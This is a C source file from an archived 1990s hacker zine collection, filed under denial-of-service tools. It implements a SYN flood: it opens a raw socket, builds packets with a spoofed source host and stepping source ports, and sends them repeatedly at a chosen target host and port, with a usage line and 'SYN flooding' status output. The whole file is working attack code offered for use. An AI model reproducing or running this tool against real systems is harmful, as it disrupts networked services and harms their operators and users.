Freaks Macintosh Archive/Freaks Macintosh Archive.bin/Freaks Macintosh Archives/Textfiles/zines/Happle/happle10.sit.hqx/Happle#10/Files/Denial.sit/DoS/sf_paus.c

C/C++ Source or Header | 1999-01-02 | 1KB | 48 lines

#include "tcpip.h"

void sendpack(char *fromhost, int fromport, char *tohost, int toport) {
 char *packet;
 char *tcppacket;
 static struct sockaddr_in local, remote;
 static int sock = 0;
 int result;

 if (!sock) {
   resolve_address((struct sockaddr *)&local, fromhost, fromport);
   resolve_address((struct sockaddr *)&remote, tohost, toport);
   sock = socket(AF_INET, SOCK_RAW, 255);
   if (sock == -1) { perror("Getting raw socket"); exit(-1); }
  }

   tcppacket = create_tcp(local.sin_addr.s_addr, remote.sin_addr.s_addr,
    fromport, remote.sin_port, fromport+234234, 0, TH_SYN,
    NULL, 0);

   packet = create_ip(local.sin_addr.s_addr, remote.sin_addr.s_addr,
    6, 24, 4, tcppacket, 20);

   result = sendto(sock, packet, 40, 0,
    (struct sockaddr *)&remote, sizeof(remote));
   if (result != 40) { perror("sending packet"); }
}

main(int argc, char *argv[]) {
 int boobz, hoz, maxhoz;
if (argc!=6) {
 printf("usage: %s <from host> <from port> <to host> <to port> <times>\n", argv[0]);
 exit(-1);
}
 printf("SYN flooding from %s to %s.%d\n", argv[1], argv[3], atoi(argv[4]));
 boobz = atoi(argv[2]);
 maxhoz = atoi(argv[5]);
while (1) {
  for (hoz=0;hoz<maxhoz;++hoz) {
   printf("packet from %s.%d to %s.%d\n", argv[1], boobz+hoz, argv[3],
    atoi(argv[4]));
   sendpack(argv[1], boobz+hoz, argv[3], atoi(argv[4]));
   wait(2);
  }
exit(-1);
 }
}